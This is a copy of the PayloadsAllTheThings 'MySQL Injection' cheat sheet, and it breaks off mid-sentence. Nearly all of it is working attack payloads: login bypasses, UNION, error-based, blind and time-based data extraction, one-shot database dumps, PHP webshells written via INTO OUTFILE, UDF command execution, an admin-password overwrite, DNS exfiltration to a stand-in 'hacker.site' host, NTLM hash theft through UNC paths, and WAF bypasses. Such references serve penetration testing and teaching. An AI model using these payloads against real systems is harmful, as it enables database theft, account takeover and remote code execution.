mysql-injection.md (36547B)
1 --- 2 title: "MySQL Injection" 3 topic: "SQL Injection" 4 topicSlug: "sql-injection" 5 sourcePath: "SQL Injection/MySQL Injection.md" 6 sourceUrl: "https://github.com/swisskyrepo/PayloadsAllTheThings/blob/3ac27901c711/SQL%20Injection/MySQL%20Injection.md" 7 sha: "3ac27901c711" 8 isReadme: false 9 --- 10 11 # MySQL Injection 12 13 > MySQL Injection is a type of security vulnerability that occurs when an attacker is able to manipulate the SQL queries made to a MySQL database by injecting malicious input. This vulnerability is often the result of improperly handling user input, allowing attackers to execute arbitrary SQL code that can compromise the database's integrity and security. 14 15 ## Summary 16 17 * [MYSQL Default Databases](#mysql-default-databases) 18 * [MYSQL Comments](#mysql-comments) 19 * [MYSQL Testing Injection](#mysql-testing-injection) 20 * [MYSQL Union Based](#mysql-union-based) 21 * [Detect Columns Number](#detect-columns-number) 22 * [Iterative NULL Method](#iterative-null-method) 23 * [ORDER BY Method](#order-by-method) 24 * [LIMIT INTO Method](#limit-into-method) 25 * [Extract Database With Information_schema](#extract-database-with-information_schema) 26 * [Extract Columns Name Without Information_Schema](#extract-columns-name-without-information_schema) 27 * [Extract Data Without Columns Name](#extract-data-without-columns-name) 28 * [MYSQL Error Based](#mysql-error-based) 29 * [MYSQL Error Based - Basic](#mysql-error-based---basic) 30 * [MYSQL Error Based - UpdateXML Function](#mysql-error-based---updatexml-function) 31 * [MYSQL Error Based - Extractvalue Function](#mysql-error-based---extractvalue-function) 32 * [MYSQL Blind](#mysql-blind) 33 * [MYSQL Blind With Substring Equivalent](#mysql-blind-with-substring-equivalent) 34 * [MYSQL Blind Using A Conditional Statement](#mysql-blind-using-a-conditional-statement) 35 * [MYSQL Blind With MAKE_SET](#mysql-blind-with-make_set) 36 * [MYSQL Blind With LIKE](#mysql-blind-with-like) 37 * [MySQL Blind With REGEXP](#mysql-blind-with-regexp) 38 * [MYSQL Time Based](#mysql-time-based) 39 * [Using SLEEP in a Subselect](#using-sleep-in-a-subselect) 40 * [Using Conditional Statements](#using-conditional-statements) 41 * [MYSQL DIOS - Dump in One Shot](#mysql-dios---dump-in-one-shot) 42 * [MYSQL Current Queries](#mysql-current-queries) 43 * [MYSQL Read Content of a File](#mysql-read-content-of-a-file) 44 * [MYSQL Command Execution](#mysql-command-execution) 45 * [WEBSHELL - OUTFILE method](#webshell---outfile-method) 46 * [WEBSHELL - DUMPFILE method](#webshell---dumpfile-method) 47 * [COMMAND - UDF Library](#command---udf-library) 48 * [MYSQL INSERT](#mysql-insert) 49 * [MYSQL Truncation](#mysql-truncation) 50 * [MYSQL Out of Band](#mysql-out-of-band) 51 * [DNS Exfiltration](#dns-exfiltration) 52 * [UNC Path - NTLM Hash Stealing](#unc-path---ntlm-hash-stealing) 53 * [MYSQL WAF Bypass](#mysql-waf-bypass) 54 * [Alternative to Information Schema](#alternative-to-information-schema) 55 * [Alternative to VERSION](#alternative-to-version) 56 * [Alternative to GROUP_CONCAT](#alternative-to-group_concat) 57 * [Scientific Notation](#scientific-notation) 58 * [Conditional Comments](#conditional-comments) 59 * [Wide Byte Injection (GBK)](#wide-byte-injection-gbk) 60 * [References](#references) 61 62 ## MYSQL Default Databases 63 64 | Name | Description | 65 | ------------------ | ----------------------------------- | 66 | mysql | Requires root privileges | 67 | information_schema | Available from version 5 and higher | 68 69 ## MYSQL Comments 70 71 MySQL comments are annotations in SQL code that are ignored by the MySQL server during execution. 72 73 | Type | Description | 74 | -------------------------- | --------------------------------- | 75 | `#` | Hash comment | 76 | `/* MYSQL Comment */` | C-style comment | 77 | `/*! MYSQL Special SQL */` | Special SQL | 78 | `/*!32302 10*/` | Comment for MYSQL version 3.23.02 | 79 | `--` | SQL comment | 80 | `;%00` | Nullbyte | 81 | \` | Backtick | 82 83 ## MYSQL Testing Injection 84 85 * **Strings**: Query like `SELECT * FROM Table WHERE id = 'FUZZ';` 86 87 ```ps1 88 ' False 89 '' True 90 " False 91 "" True 92 \ False 93 \\ True 94 ``` 95 96 * **Numeric**: Query like `SELECT * FROM Table WHERE id = FUZZ;` 97 98 ```ps1 99 AND 1 True 100 AND 0 False 101 AND true True 102 AND false False 103 1-false Returns 1 if vulnerable 104 1-true Returns 0 if vulnerable 105 1*56 Returns 56 if vulnerable 106 1*56 Returns 1 if not vulnerable 107 ``` 108 109 * **Login**: Query like `SELECT * FROM Users WHERE username = 'FUZZ1' AND password = 'FUZZ2';` 110 111 ```ps1 112 ' OR '1 113 ' OR 1 -- - 114 " OR "" = " 115 " OR 1 = 1 -- - 116 '=' 117 'LIKE' 118 '=0--+ 119 ``` 120 121 ## MYSQL Union Based 122 123 ### Detect Columns Number 124 125 To successfully perform a union-based SQL injection, an attacker needs to know the number of columns in the original query. 126 127 #### Iterative NULL Method 128 129 Systematically increase the number of columns in the `UNION SELECT` statement until the payload executes without errors or produces a visible change. Each iteration checks the compatibility of the column count. 130 131 ```sql 132 UNION SELECT NULL;-- 133 UNION SELECT NULL, NULL;-- 134 UNION SELECT NULL, NULL, NULL;-- 135 ``` 136 137 #### ORDER BY Method 138 139 Keep incrementing the number until you get a `False` response. Even though `GROUP BY` and `ORDER BY` have different functionality in SQL, they both can be used in the exact same fashion to determine the number of columns in the query. 140 141 | ORDER BY | GROUP BY | Result | 142 | --------------- | --------------- | ------ | 143 | `ORDER BY 1--+` | `GROUP BY 1--+` | True | 144 | `ORDER BY 2--+` | `GROUP BY 2--+` | True | 145 | `ORDER BY 3--+` | `GROUP BY 3--+` | True | 146 | `ORDER BY 4--+` | `GROUP BY 4--+` | False | 147 148 Since the result is false for `ORDER BY 4`, it means the SQL query is only having 3 columns. 149 In the `UNION` based SQL injection, you can `SELECT` arbitrary data to display on the page: `-1' UNION SELECT 1,2,3--+`. 150 151 Similar to the previous method, we can check the number of columns with one request if error showing is enabled. 152 153 ```sql 154 ORDER BY 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--+ # Unknown column '4' in 'order clause' 155 ``` 156 157 #### LIMIT INTO Method 158 159 This method is effective when error reporting is enabled. It can help determine the number of columns in cases where the injection point occurs after a LIMIT clause. 160 161 | Payload | Error | 162 | ---------------------------- | --------------------------------------------------------------- | 163 | `1' LIMIT 1,1 INTO @--+` | `The used SELECT statements have a different number of columns` | 164 | `1' LIMIT 1,1 INTO @,@--+` | `The used SELECT statements have a different number of columns` | 165 | `1' LIMIT 1,1 INTO @,@,@--+` | `No error means query uses 3 columns` | 166 167 Since the result doesn't show any error it means the query uses 3 columns: `-1' UNION SELECT 1,2,3--+`. 168 169 ### Extract Database With Information_Schema 170 171 This query retrieves the names of all schemas (databases) on the server. 172 173 ```sql 174 UNION SELECT 1,2,3,4,...,GROUP_CONCAT(0x7c,schema_name,0x7c) FROM information_schema.schemata 175 ``` 176 177 This query retrieves the names of all tables within a specified schema (the schema name is represented by PLACEHOLDER). 178 179 ```sql 180 UNION SELECT 1,2,3,4,...,GROUP_CONCAT(0x7c,table_name,0x7C) FROM information_schema.tables WHERE table_schema=PLACEHOLDER 181 ``` 182 183 This query retrieves the names of all columns in a specified table. 184 185 ```sql 186 UNION SELECT 1,2,3,4,...,GROUP_CONCAT(0x7c,column_name,0x7C) FROM information_schema.columns WHERE table_name=... 187 ``` 188 189 This query aims to retrieve data from a specific table. 190 191 ```sql 192 UNION SELECT 1,2,3,4,...,GROUP_CONCAT(0x7c,data,0x7C) FROM ... 193 ``` 194 195 ### Extract Columns Name Without Information_Schema 196 197 Method for `MySQL >= 4.1`. 198 199 | Payload | Output | 200 | ------------------------------------------------------------------------- | -------------------------------------- | 201 | `(1)and(SELECT * from db.users)=(1)` | Operand should contain **4** column(s) | 202 | `1 and (1,2,3,4) = (SELECT * from db.users UNION SELECT 1,2,3,4 LIMIT 1)` | Column '**id**' cannot be null | 203 204 Method for `MySQL 5` 205 206 | Payload | Output | 207 | ------------------------------------------------------------------------ | -------------------------------- | 208 | `UNION SELECT * FROM (SELECT * FROM users JOIN users b)a` | Duplicate column name '**id**' | 209 | `UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id))a` | Duplicate column name '**name**' | 210 | `UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id,name))a` | Data | 211 212 ### Extract Data Without Columns Name 213 214 Extracting data from the 4th column without knowing its name. 215 216 ```sql 217 SELECT `4` FROM (SELECT 1,2,3,4,5,6 UNION SELECT * FROM USERS)DBNAME; 218 ``` 219 220 Injection example inside the query `select author_id,title from posts where author_id=[INJECT_HERE]` 221 222 ```sql 223 MariaDB [dummydb]> SELECT AUTHOR_ID,TITLE FROM POSTS WHERE AUTHOR_ID=-1 UNION SELECT 1,(SELECT CONCAT(`3`,0X3A,`4`) FROM (SELECT 1,2,3,4,5,6 UNION SELECT * FROM USERS)A LIMIT 1,1); 224 +-----------+-----------------------------------------------------------------+ 225 | author_id | title | 226 +-----------+-----------------------------------------------------------------+ 227 | 1 | a45d4e080fc185dfa223aea3d0c371b6cc180a37:veronica80@example.org | 228 +-----------+-----------------------------------------------------------------+ 229 ``` 230 231 ## MYSQL Error Based 232 233 | Name | Payload | 234 | ------------ | ---------------------------------------------------------------------------------------------- | 235 | GTID_SUBSET | `AND GTID_SUBSET(CONCAT('~',(SELECT version()),'~'),1337) -- -` | 236 | JSON_KEYS | `AND JSON_KEYS((SELECT CONVERT((SELECT CONCAT('~',(SELECT version()),'~')) USING utf8))) -- -` | 237 | EXTRACTVALUE | `AND EXTRACTVALUE(1337,CONCAT('.','~',(SELECT version()),'~')) -- -` | 238 | UPDATEXML | `AND UPDATEXML(1337,CONCAT('.','~',(SELECT version()),'~'),31337) -- -` | 239 | EXP | `AND EXP(~(SELECT * FROM (SELECT CONCAT('~',(SELECT version()),'~','x'))x)) -- -` | 240 | OR | `OR 1 GROUP BY CONCAT('~',(SELECT version()),'~',FLOOR(RAND(0)*2)) HAVING MIN(0) -- -` | 241 | NAME_CONST | `AND (SELECT * FROM (SELECT NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)--` | 242 | UUID_TO_BIN | `AND UUID_TO_BIN(version())='1` | 243 244 ### MYSQL Error Based - Basic 245 246 Works with `MySQL >= 4.1` 247 248 ```sql 249 (SELECT 1 AND ROW(1,1)>(SELECT COUNT(*),CONCAT(CONCAT(@@VERSION),0X3A,FLOOR(RAND()*2))X FROM (SELECT 1 UNION SELECT 2)A GROUP BY X LIMIT 1)) 250 '+(SELECT 1 AND ROW(1,1)>(SELECT COUNT(*),CONCAT(CONCAT(@@VERSION),0X3A,FLOOR(RAND()*2))X FROM (SELECT 1 UNION SELECT 2)A GROUP BY X LIMIT 1))+' 251 ``` 252 253 ### MYSQL Error Based - UpdateXML Function 254 255 ```sql 256 AND UPDATEXML(rand(),CONCAT(CHAR(126),version(),CHAR(126)),null)- 257 AND UPDATEXML(rand(),CONCAT(0x3a,(SELECT CONCAT(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)),null)-- 258 AND UPDATEXML(rand(),CONCAT(0x3a,(SELECT CONCAT(CHAR(126),TABLE_NAME,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)),null)-- 259 AND UPDATEXML(rand(),CONCAT(0x3a,(SELECT CONCAT(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)),null)-- 260 AND UPDATEXML(rand(),CONCAT(0x3a,(SELECT CONCAT(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT data_offset,1)),null)-- 261 ``` 262 263 Shorter to read: 264 265 ```sql 266 UPDATEXML(null,CONCAT(0x0a,version()),null)-- - 267 UPDATEXML(null,CONCAT(0x0a,(select table_name from information_schema.tables where table_schema=database() LIMIT 0,1)),null)-- - 268 ``` 269 270 ### MYSQL Error Based - Extractvalue Function 271 272 Works with `MySQL >= 5.1` 273 274 ```sql 275 ?id=1 AND EXTRACTVALUE(RAND(),CONCAT(CHAR(126),VERSION(),CHAR(126)))-- 276 ?id=1 AND EXTRACTVALUE(RAND(),CONCAT(0X3A,(SELECT CONCAT(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)))-- 277 ?id=1 AND EXTRACTVALUE(RAND(),CONCAT(0X3A,(SELECT CONCAT(CHAR(126),table_name,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)))-- 278 ?id=1 AND EXTRACTVALUE(RAND(),CONCAT(0X3A,(SELECT CONCAT(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)))-- 279 ?id=1 AND EXTRACTVALUE(RAND(),CONCAT(0X3A,(SELECT CONCAT(CHAR(126),data_column,CHAR(126)) FROM data_schema.data_table LIMIT data_offset,1)))-- 280 ``` 281 282 ### MYSQL Error Based - NAME_CONST function (only for constants) 283 284 Works with `MySQL >= 5.0` 285 286 ```sql 287 ?id=1 AND (SELECT * FROM (SELECT NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)-- 288 ?id=1 AND (SELECT * FROM (SELECT NAME_CONST(user(),1),NAME_CONST(user(),1)) as x)-- 289 ?id=1 AND (SELECT * FROM (SELECT NAME_CONST(database(),1),NAME_CONST(database(),1)) as x)-- 290 ``` 291 292 ## MYSQL Blind 293 294 ### MYSQL Blind With Substring Equivalent 295 296 | Function | Example | Description | 297 | ----------- | ------------------------------ | ------------------------------------------------------------------- | 298 | `SUBSTR` | `SUBSTR(version(),1,1)=5` | Extracts a substring from a string (starting at any position) | 299 | `SUBSTRING` | `SUBSTRING(version(),1,1)=5` | Extracts a substring from a string (starting at any position) | 300 | `RIGHT` | `RIGHT(left(version(),1),1)=5` | Extracts a number of characters from a string (starting from right) | 301 | `MID` | `MID(version(),1,1)=4` | Extracts a substring from a string (starting at any position) | 302 | `LEFT` | `LEFT(version(),1)=4` | Extracts a number of characters from a string (starting from left) | 303 304 Examples of Blind SQL injection using `SUBSTRING` or another equivalent function: 305 306 ```sql 307 ?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A' 308 ?id=1 AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A' 309 ?id=1 AND ASCII(LOWER(SUBSTR(version(),1,1)))=51 310 ``` 311 312 ### MYSQL Blind Using a Conditional Statement 313 314 * TRUE: `if @@version starts with a 5`: 315 316 ```sql 317 2100935' OR IF(MID(@@version,1,1)='5',sleep(1),1)='2 318 Response: 319 HTTP/1.1 500 Internal Server Error 320 ``` 321 322 * FALSE: `if @@version starts with a 4`: 323 324 ```sql 325 2100935' OR IF(MID(@@version,1,1)='4',sleep(1),1)='2 326 Response: 327 HTTP/1.1 200 OK 328 ``` 329 330 ### MYSQL Blind With MAKE_SET 331 332 ```sql 333 AND MAKE_SET(VALUE_TO_EXTRACT<(SELECT(length(version()))),1) 334 AND MAKE_SET(VALUE_TO_EXTRACT<ascii(substring(version(),POS,1)),1) 335 AND MAKE_SET(VALUE_TO_EXTRACT<(SELECT(length(concat(login,password)))),1) 336 AND MAKE_SET(VALUE_TO_EXTRACT<ascii(substring(concat(login,password),POS,1)),1) 337 ``` 338 339 ### MYSQL Blind With LIKE 340 341 In MySQL, the `LIKE` operator can be used to perform pattern matching in queries. The operator allows the use of wildcard characters to match unknown or partial string values. This is especially useful in a blind SQL injection context when an attacker does not know the length or specific content of the data stored in the database. 342 343 Wildcard Characters in LIKE: 344 345 * **Percentage Sign** (`%`): This wildcard represents zero, one, or multiple characters. It can be used to match any sequence of characters. 346 * **Underscore** (`_`): This wildcard represents a single character. It's used for more precise matching when you know the structure of the data but not the specific character at a particular position. 347 348 ```sql 349 SELECT cust_code FROM customer WHERE cust_name LIKE 'k__l'; 350 SELECT * FROM products WHERE product_name LIKE '%user_input%' 351 ``` 352 353 ### MySQL Blind with REGEXP 354 355 Blind SQL injection can also be performed using the MySQL `REGEXP` operator, which is used for matching a string against a regular expression. This technique is particularly useful when attackers want to perform more complex pattern matching than what the `LIKE` operator can offer. 356 357 | Payload | Description | 358 | ---------------------------------------------------------------------- | ----------------------------------- | 359 | `' OR (SELECT username FROM users WHERE username REGEXP '^.{8,}$') --` | Checking length | 360 | `' OR (SELECT username FROM users WHERE username REGEXP '[0-9]') --` | Checking for the presence of digits | 361 | `' OR (SELECT username FROM users WHERE username REGEXP '^a[a-z]') --` | Checking for data starting by "a" | 362 363 ## MYSQL Time Based 364 365 The following SQL codes will delay the output from MySQL. 366 367 * MySQL 4/5 : [`BENCHMARK()`](https://dev.mysql.com/doc/refman/8.4/en/select-benchmarking.html) 368 369 ```sql 370 +BENCHMARK(40000000,SHA1(1337))+ 371 '+BENCHMARK(3200,SHA1(1))+' 372 AND [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')) 373 ``` 374 375 * MySQL 5: [`SLEEP()`](https://dev.mysql.com/doc/refman/8.4/en/miscellaneous-functions.html#function_sleep) 376 377 ```sql 378 RLIKE SLEEP([SLEEPTIME]) 379 OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME])) 380 XOR(IF(NOW()=SYSDATE(),SLEEP(5),0))XOR 381 AND SLEEP(10)=0 382 AND (SELECT 1337 FROM (SELECT(SLEEP(10-(IF((1=1),0,10))))) RANDSTR) 383 ``` 384 385 ### Using SLEEP in a Subselect 386 387 Extracting the length of the data. 388 389 ```sql 390 1 AND (SELECT SLEEP(10) FROM DUAL WHERE DATABASE() LIKE '%')# 391 1 AND (SELECT SLEEP(10) FROM DUAL WHERE DATABASE() LIKE '___')# 392 1 AND (SELECT SLEEP(10) FROM DUAL WHERE DATABASE() LIKE '____')# 393 1 AND (SELECT SLEEP(10) FROM DUAL WHERE DATABASE() LIKE '_____')# 394 ``` 395 396 Extracting the first character. 397 398 ```sql 399 1 AND (SELECT SLEEP(10) FROM DUAL WHERE DATABASE() LIKE 'A____')# 400 1 AND (SELECT SLEEP(10) FROM DUAL WHERE DATABASE() LIKE 'S____')# 401 ``` 402 403 Extracting the second character. 404 405 ```sql 406 1 AND (SELECT SLEEP(10) FROM DUAL WHERE DATABASE() LIKE 'SA___')# 407 1 AND (SELECT SLEEP(10) FROM DUAL WHERE DATABASE() LIKE 'SW___')# 408 ``` 409 410 Extracting the third character. 411 412 ```sql 413 1 AND (SELECT SLEEP(10) FROM DUAL WHERE DATABASE() LIKE 'SWA__')# 414 1 AND (SELECT SLEEP(10) FROM DUAL WHERE DATABASE() LIKE 'SWB__')# 415 1 AND (SELECT SLEEP(10) FROM DUAL WHERE DATABASE() LIKE 'SWI__')# 416 ``` 417 418 Extracting column_name. 419 420 ```sql 421 1 AND (SELECT SLEEP(10) FROM DUAL WHERE (SELECT table_name FROM information_schema.columns WHERE table_schema=DATABASE() AND column_name LIKE '%pass%' LIMIT 0,1) LIKE '%')# 422 ``` 423 424 ### Using Conditional Statements 425 426 ```sql 427 ?id=1 AND IF(ASCII(SUBSTRING((SELECT USER()),1,1))>=100,1, BENCHMARK(2000000,MD5(NOW()))) -- 428 ?id=1 AND IF(ASCII(SUBSTRING((SELECT USER()), 1, 1))>=100, 1, SLEEP(3)) -- 429 ?id=1 OR IF(MID(@@version,1,1)='5',sleep(1),1)='2 430 ``` 431 432 ## MYSQL DIOS - Dump in One Shot 433 434 DIOS (Dump In One Shot) SQL Injection is an advanced technique that allows an attacker to extract entire database contents in a single, well-crafted SQL injection payload. This method leverages the ability to concatenate multiple pieces of data into a single result set, which is then returned in one response from the database. 435 436 ```sql 437 (select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema>=@) and (@)in (@:=concat(@,0x0D,0x0A,' [ ',table_schema,' ] > ',table_name,' > ',column_name,0x7C))))a)# 438 (select (@) from (select(@:=0x00),(select (@) from (db_data.table_data) where (@)in (@:=concat(@,0x0D,0x0A,0x7C,' [ ',column_data1,' ] > ',column_data2,' > ',0x7C))))a)# 439 ``` 440 441 * SecurityIdiots 442 443 ```sql 444 make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@) 445 ``` 446 447 * Profexer 448 449 ```sql 450 (select(@)from(select(@:=0x00),(select(@)from(information_schema.columns)where(@)in(@:=concat(@,0x3C62723E,table_name,0x3a,column_name))))a) 451 ``` 452 453 * Dr.Z3r0 454 455 ```sql 456 (select(select concat(@:=0xa7,(select count(*)from(information_schema.columns)where(@:=concat(@,0x3c6c693e,table_name,0x3a,column_name))),@)) 457 ``` 458 459 * M@dBl00d 460 461 ```sql 462 (Select export_set(5,@:=0,(select count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2)) 463 ``` 464 465 * Zen 466 467 ```sql 468 +make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@) 469 ``` 470 471 * sharik 472 473 ```sql 474 (select(@a)from(select(@a:=0x00),(select(@a)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(@a)in(@a:=concat(@a,table_name,0x203a3a20,column_name,0x3c62723e))))a) 475 ``` 476 477 ## MYSQL Current Queries 478 479 `INFORMATION_SCHEMA.PROCESSLIST` is a special table available in MySQL and MariaDB that provides information about active processes and threads within the database server. This table can list all operations that DB is performing at the moment. 480 481 The `PROCESSLIST` table contains several important columns, each providing details about the current processes. Common columns include: 482 483 * **ID** : The process identifier. 484 * **USER** : The MySQL user who is running the process. 485 * **HOST** : The host from which the process was initiated. 486 * **DB** : The database the process is currently accessing, if any. 487 * **COMMAND** : The type of command the process is executing (e.g., Query, Sleep). 488 * **TIME** : The time in seconds that the process has been running. 489 * **STATE** : The current state of the process. 490 * **INFO** : The text of the statement being executed, or NULL if no statement is being executed. 491 492 ```sql 493 SELECT * FROM INFORMATION_SCHEMA.PROCESSLIST; 494 ``` 495 496 | ID | USER | HOST | DB | COMMAND | TIME | STATE | INFO | 497 | --- | --------- | ---------------- | ------ | ------- | ---- | ---------- | ------------------------ | 498 | 1 | root | localhost | testdb | Query | 10 | executing | SELECT * FROM some_table | 499 | 2 | app_uset | 192.168.0.101 | appdb | Sleep | 300 | sleeping | NULL | 500 | 3 | gues_user | example.com:3360 | NULL | Connect | 0 | connecting | NULL | 501 502 ```sql 503 UNION SELECT 1,state,info,4 FROM INFORMATION_SCHEMA.PROCESSLIST # 504 ``` 505 506 Dump in one shot query to extract the whole content of the table. 507 508 ```sql 509 UNION SELECT 1,(SELECT(@)FROM(SELECT(@:=0X00),(SELECT(@)FROM(information_schema.processlist)WHERE(@)IN(@:=CONCAT(@,0x3C62723E,state,0x3a,info))))a),3,4 # 510 ``` 511 512 ## MYSQL Read Content of a File 513 514 Need the `filepriv`, otherwise you will get the error : `ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement` 515 516 ```sql 517 UNION ALL SELECT LOAD_FILE('/etc/passwd') -- 518 UNION ALL SELECT TO_base64(LOAD_FILE('/var/www/html/index.php')); 519 ``` 520 521 If you are `root` on the database, you can re-enable the `LOAD_FILE` using the following query 522 523 ```sql 524 GRANT FILE ON *.* TO 'root'@'localhost'; FLUSH PRIVILEGES;# 525 ``` 526 527 ## MYSQL Command Execution 528 529 ### WEBSHELL - OUTFILE Method 530 531 ```sql 532 [...] UNION SELECT "<?php system($_GET['cmd']); ?>" into outfile "C:\\xampp\\htdocs\\backdoor.php" 533 [...] UNION SELECT '' INTO OUTFILE '/var/www/html/x.php' FIELDS TERMINATED BY '<?php phpinfo();?>' 534 [...] UNION SELECT 1,2,3,4,5,0x3c3f70687020706870696e666f28293b203f3e into outfile 'C:\\wamp\\www\\pwnd.php'-- - 535 [...] union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE 'c:/inetpub/wwwroot/backdoor.php' 536 ``` 537 538 ### WEBSHELL - DUMPFILE Method 539 540 ```sql 541 [...] UNION SELECT 0xPHP_PAYLOAD_IN_HEX, NULL, NULL INTO DUMPFILE 'C:/Program Files/EasyPHP-12.1/www/shell.php' 542 [...] UNION SELECT 0x3c3f7068702073797374656d28245f4745545b2763275d293b203f3e INTO DUMPFILE '/var/www/html/images/shell.php'; 543 ``` 544 545 ### COMMAND - UDF Library 546 547 First you need to check if the UDF are installed on the server. 548 549 ```powershell 550 $ whereis lib_mysqludf_sys.so 551 /usr/lib/lib_mysqludf_sys.so 552 ``` 553 554 Then you can use functions such as `sys_exec` and `sys_eval`. 555 556 ```sql 557 $ mysql -u root -p mysql 558 Enter password: [...] 559 560 mysql> SELECT sys_eval('id'); 561 +--------------------------------------------------+ 562 | sys_eval('id') | 563 +--------------------------------------------------+ 564 | uid=118(mysql) gid=128(mysql) groups=128(mysql) | 565 +--------------------------------------------------+ 566 ``` 567 568 ## MYSQL INSERT 569 570 `ON DUPLICATE KEY UPDATE` keywords is used to tell MySQL what to do when the application tries to insert a row that already exists in the table. We can use this to change the admin password by: 571 572 Inject using payload: 573 574 ```sql 575 attacker_dummy@example.com", "P@ssw0rd"), ("admin@example.com", "P@ssw0rd") ON DUPLICATE KEY UPDATE password="P@ssw0rd" -- 576 ``` 577 578 The query would look like this: 579 580 ```sql 581 INSERT INTO users (email, password) VALUES ("attacker_dummy@example.com", "BCRYPT_HASH"), ("admin@example.com", "P@ssw0rd") ON DUPLICATE KEY UPDATE password="P@ssw0rd" -- ", "BCRYPT_HASH_OF_YOUR_PASSWORD_INPUT"); 582 ``` 583 584 This query will insert a row for the user "`attacker_dummy@example.com`". It will also insert a row for the user "`admin@example.com`". 585 586 Because this row already exists, the `ON DUPLICATE KEY UPDATE` keyword tells MySQL to update the `password` column of the already existing row to "P@ssw0rd". After this, we can simply authenticate with "`admin@example.com`" and the password "P@ssw0rd". 587 588 ## MYSQL Truncation 589 590 In MYSQL "`admin`" and "`admin`" are the same. If the username column in the database has a character-limit the rest of the characters are truncated. So if the database has a column-limit of 20 characters and we input a string with 21 characters the last 1 character will be removed. 591 592 ```sql 593 `username` varchar(20) not null 594 ``` 595 596 Payload: `username = "admin a"` 597 598 ## MYSQL Out of Band 599 600 ```powershell 601 SELECT @@version INTO OUTFILE '\\\\192.168.0.100\\temp\\out.txt'; 602 SELECT @@version INTO DUMPFILE '\\\\192.168.0.100\\temp\\out.txt; 603 ``` 604 605 ### DNS Exfiltration 606 607 ```sql 608 SELECT LOAD_FILE(CONCAT('\\\\',VERSION(),'.hacker.site\\a.txt')); 609 SELECT LOAD_FILE(CONCAT(0x5c5c5c5c,VERSION(),0x2e6861636b65722e736974655c5c612e747874)) 610 ``` 611 612 ### UNC Path - NTLM Hash Stealing 613 614 The term "UNC path" refers to the Universal Naming Convention path used to specify the location of resources such as shared files or devices on a network. It is commonly used in Windows environments to access files over a network using a format like `\\server\share\file`. 615 616 ```sql 617 SELECT LOAD_FILE('\\\\error\\abc'); 618 SELECT LOAD_FILE(0x5c5c5c5c6572726f725c5c616263); 619 SELECT '' INTO DUMPFILE '\\\\error\\abc'; 620 SELECT '' INTO OUTFILE '\\\\error\\abc'; 621 LOAD DATA INFILE '\\\\error\\abc' INTO TABLE DATABASE.TABLE_NAME; 622 ``` 623 624 :warning: Don't forget to escape the '\\\\'. 625 626 ## MYSQL WAF Bypass 627 628 ### Alternative to Information Schema 629 630 `information_schema.tables` alternative 631 632 ```sql 633 SELECT * FROM mysql.innodb_table_stats; 634 +----------------+-----------------------+---------------------+--------+----------------------+--------------------------+ 635 | database_name | table_name | last_update | n_rows | clustered_index_size | sum_of_other_index_sizes | 636 +----------------+-----------------------+---------------------+--------+----------------------+--------------------------+ 637 | dvwa | guestbook | 2017-01-19 21:02:57 | 0 | 1 | 0 | 638 | dvwa | users | 2017-01-19 21:03:07 | 5 | 1 | 0 | 639 ... 640 +----------------+-----------------------+---------------------+--------+----------------------+--------------------------+ 641 642 mysql> SHOW TABLES IN dvwa; 643 +----------------+ 644 | Tables_in_dvwa | 645 +----------------+ 646 | guestbook | 647 | users | 648 +----------------+ 649 ``` 650 651 ### Alternative to VERSION 652 653 ```sql 654 mysql> SELECT @@innodb_version; 655 +------------------+ 656 | @@innodb_version | 657 +------------------+ 658 | 5.6.31 | 659 +------------------+ 660 661 mysql> SELECT @@version; 662 +-------------------------+ 663 | @@version | 664 +-------------------------+ 665 | 5.6.31-0ubuntu0.15.10.1 | 666 +-------------------------+ 667 668 mysql> SELECT version(); 669 +-------------------------+ 670 | version() | 671 +-------------------------+ 672 | 5.6.31-0ubuntu0.15.10.1 | 673 +-------------------------+ 674 675 mysql> SELECT @@GLOBAL.VERSION; 676 +------------------+ 677 | @@GLOBAL.VERSION | 678 +------------------+ 679 | 8.0.27 | 680 +------------------+ 681 ``` 682 683 ### Alternative to GROUP_CONCAT 684 685 Requirement: `MySQL >= 5.7.22` 686 687 Use `json_arrayagg()` instead of `group_concat()` which allows less symbols to be displayed 688 689 * `group_concat()` = 1024 symbols 690 * `json_arrayagg()` > 16,000,000 symbols 691 692 ```sql 693 SELECT json_arrayagg(concat_ws(0x3a,table_schema,table_name)) from INFORMATION_SCHEMA.TABLES; 694 ``` 695 696 ### Scientific Notation 697 698 In MySQL, the e notation is used to represent numbers in scientific notation. It's a way to express very large or very small numbers in a concise format. The e notation consists of a number followed by the letter e and an exponent. 699 The format is: `base 'e' exponent`. 700 701 For example: 702 703 * `1e3` represents 